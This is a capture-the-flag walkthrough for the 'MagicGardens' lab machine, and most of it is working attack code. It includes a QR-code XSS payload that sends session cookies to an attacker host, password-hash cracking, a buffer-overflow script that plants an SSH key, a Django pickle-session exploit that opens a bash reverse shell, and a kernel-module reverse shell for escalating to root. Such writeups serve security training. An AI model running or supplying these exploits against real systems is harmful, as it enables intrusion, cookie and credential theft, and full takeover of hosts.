Explore the fundamentals of cybersecurity in the MagicGardens Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
| 10.10.11.9 magicgardens.htb
|
Script to add hosts automatically
1
2
3
| ip="10.10.11.9"
domain="magicgardens.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
|
Mapping
1
| nmap -sCV magicgardens.htb
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.063s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp filtered smtp
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Magic Gardens
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
- Go to http://magicgardens.htb and register.
- Navigate to http://magicgardens.htb/profile/?tab=subscription, click “Upgrade”, and select
honestbank.htb
. - Capture the request, modify the “Bank” parameter to your local IP (YOUR_IP):8000, and start a local server:
1
| python -m http.server 8000
|
- Test the original server’s response:
1
| curl http://honestbank.htb/api/payments/
|
- Simulate a POST request:
1
| curl http://honestbank.htb/api/payments/ -X POST -d '{"cardname":"sun", "cardnumber":"12345678901"}'
|
- Close the server and run a Flask server:
1
2
3
4
5
6
7
8
9
10
11
12
| from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/api/payments/', methods=['POST'])
def handle_payment():
req_json = request.get_json()
req_json['status'] = "200"
print(req_json)
return jsonify(req_json)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
|
Intercept the request, set bank=YOUR_IP:8000
, and forward requests with Burp. Disable intercept refresh the page and buy a flower with the vip subscription.
Extract and scan the QR code using zbar
tools like qrscan.
QR content:
1
| 2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.pwn@pwn.com
|
- Replace
vpn-ip
and QR ID in the payload and generate a malicious QR code:
Server to retrive the coockies:
1
| python -m http.server 8000
|
1
2
3
4
5
6
7
8
| import qrcode
data = '''2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://vpn-ip:8000/?cookie="+btoa(document.cookie);</script><p>'''
qr = qrcode.QRCode(box_size=10, border=4)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save("evilqr.png")
|
- Send the malicious QR code in response to the message received from Morty after buying a flower. Once you get the response, decode the Base64-encoded cookie:
1
2
| echo -n "Base64 of the Cookies? "; read payload
echo $payload | base64 -d
|
- Use the cookie
sessionid
in your browser and access:
1
| http://magicgardens.htb/admin/store/storeuser/morty/change/
|
You will find the hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=
.
Brute Force the Hash
1
2
3
4
5
| echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 10000 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
|
You will find the credentials for jonasbrothers.
To SSH into the target as Morty, use the following command:
1
| ssh morty@magicgardens.htb
|
Discovering Harvest Buffer Overflow
Target Machine:
- Start HTTP server on port 8008:
1
2
| cd /
python3 -m http.server 8008
|
Local Machine:
- Download and prepare
harvest
binary:1
2
3
| wget http://magicgardens.htb:8008/usr/local/bin/harvest
chmod +x ./harvest
sudo ./harvest server
|
Testing and Exploitation:
- Initial Testing:
- Send test payload:
1
| echo "test" | nc 127.0.0.1 1337
|
- Expected result:
[x] Handshake error
- Send correct version:
1
| echo "harvest v1.0.3" | nc 127.0.0.1 1337
|
- This indicates a successful handshake.
- Reversing and Exploitation:
- Vulnerability observed in
strcmp
function not limiting buffer size. - Monitor file operations:
1
| strace -t -e trace=openat ./harvest server -l save.txt
|
- Buffer Overflow Attack Script:
1
2
3
4
5
6
7
| import socket
server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = b'A'*65500
s.send(data)
|
- Generate and use a pattern to accurately target memory:
1
| python -c "from pwn import *; open('bof.txt','w').write(cyclic(65500).decode())"
|
- Use the generated pattern:
1
2
3
4
5
6
7
8
9
| import socket
server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
with open('bof.txt', 'rb') as f:
data = bytearray(f.read())
s.send(data[:65372] + b"/tmp/name.txt")
s.close()
|
- Check for successful exploit:
- Find the pattern offset:
1
| python -c "from pwn import *; print(cyclic_find(b'daaa'))"
|
- The offset identified (
12
) is crucial for crafting an effective exploit.
From Morty to Alex: Buffer Overflow in Harvest v1.0.3
Generate the SSH key on your local machine
This will generate a key pair and save it as ./key
(private key) and ./key.pub
(public key).
Display the public key on your local machine
Send a message to the vulnerable service on the target
1
| echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337
|
Open a Python REPL on the target
Paste the following code into the Python REPL and adjust the SSH Public key (key
) as needed:
1
2
3
4
5
6
7
8
9
10
11
| import socket
server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = bytearray(b'\n' * 65403)
key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEICRuVTVFybA8QCIqNV+IU2oYS8kDu9W/ASXOkwHUxw e@Arch'
replace = b"/home/alex/.ssh/authorized_keys"
sendData = data[:65372] + replace
sendData[12:12 + len(key)] = key.encode()
s.send(sendData)
|
SSH into the target using the generated private key
1
| ssh -i ./key alex@magicgardens.htb
|
Once connected, read the contents of the files
1
2
| cat /home/alex/user.txt
cat /var/mail/alex
|
We get
1
| UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
|
Unzip the zip
On Your Local Machine
Make sure everything is on one line or it will not work with the read command
1
2
3
4
5
| echo -en "Zip Content? "; read zip
echo $zip | base64 -d > auth.zip
zip2john auth.zip > auth.hash
john --wordlist=/usr/share/dict/rockyou.txt auth.hash
john auth.hash --show
|
Unzip and Read the Contents:
1
2
| unzip auth.zip
cat htpasswd
|
Brute Force the Hash
1
2
3
4
5
| echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
|
https://github.com/Syzik/DockerRegistryGrabber
1
2
3
| git clone https://github.com/Syzik/DockerRegistryGrabber
cd DockerRegistryGrabber
python drg.py https://magicgardens.htb -U AlexMiles -P diamonds --dump magicgardens.htb
|
It will take a while; once finished, proceed to extract all registers.
1
2
3
4
5
| cd magicgardens.htb
for file in $(zgrep -la morty *.tar.gz); do
tar -xzf "$file"
done
cat ./usr/src/app/.env
|
Save this script in your local machine as exploit.py
. It generates a malicious session to execute a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
import base64
import subprocess
import os
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
def get_tun0_ip():
return subprocess.check_output("ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True).decode().strip()
def generate_reverse_shell(ip, port=9001):
return base64.b64encode(f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1'".encode()).decode()
class CreateTmpFile(object):
def __reduce__(self):
return (subprocess.call, (['bash', '-c', f'echo {generate_reverse_shell(get_tun0_ip())} | base64 -d | bash'],))
def create_malicious_session():
return signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies')
def set_session_cookie(session_id):
requests.get("http://magicgardens.htb/admin/login/?next=/admin/", cookies={'sessionid': session_id})
def curl_with_session_cookie(session_id):
os.system(f"curl -b 'sessionid={session_id}' http://magicgardens.htb/admin/login/?next=/admin/")
if __name__ == "__main__":
session_cookie = create_malicious_session()
set_session_cookie(session_cookie)
curl_with_session_cookie(session_cookie)
|
Note: The exploits require the Django package (pip install django==3.2
) to work. The latest version (5.1.2) does not include django.contrib.sessions.serializers
.
- Make sure you have a listener ready:
- Run the Python exploit:
Your listener is now connected to the Docker container inside the target.
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
| python3 -c 'import pty;pty.spawn("/bin/bash")'
|
Press Ctrl+Z
to background the shell, then run:
1
| stty size; stty raw -echo; fg
|
As the last step, set the terminal environment:
Privilege Escalation Using Linux Capabilities
Check Current Linux Capabilities
You can check your current capabilities using capsh
. Here’s an example output:
Example Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
| Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
|
You can learn more about Linux capabilities and their privilege escalation potential here.
Kernel Module: Reverse Shell
The following reverse-shell.c
code is an example of a loadable kernel module (LKM) that spawns a reverse shell:
Code: reverse-shell.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| #include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
|
Makefile
Below is the corresponding Makefile
for compiling the kernel module:
1
2
3
4
5
| obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) clean
|
All in one command
Local (Listener):
1
| nc -lp 12345 > reverse-shell.ko
|
Ssh (Compile, Send File):
1
| ssh -i ./key alex@magicgardens.htb
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| cd /tmp
cat << EOF > reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF
echo -e "obj-m += reverse-shell.o\nall:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) modules\nclean:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) clean" > Makefile
make
cat reverse-shell.ko > /dev/tcp/<vpnip>/12345
|
Local:
- Start a Python HTTP Server: Host the
reverse-shell.ko
file so it can be downloaded by the container:1
| python3 -m http.server 8000
|
- Set Up a Netcat Listener: Open another terminal and start a listener to catch the reverse shell:
Target Container:
- Download the Kernel Module: Use
wget
to fetch the reverse-shell.ko
file from your local machine:1
| wget http://<your-local-ip>:8000/reverse-shell.ko
|
- Load the Kernel Module: Insert the module to trigger the reverse shell:
1
| insmod reverse-shell.ko
|
- Access the root flag: Once the reverse shell is established, you can execute commands on the target machine. For example, retrieve the root flag: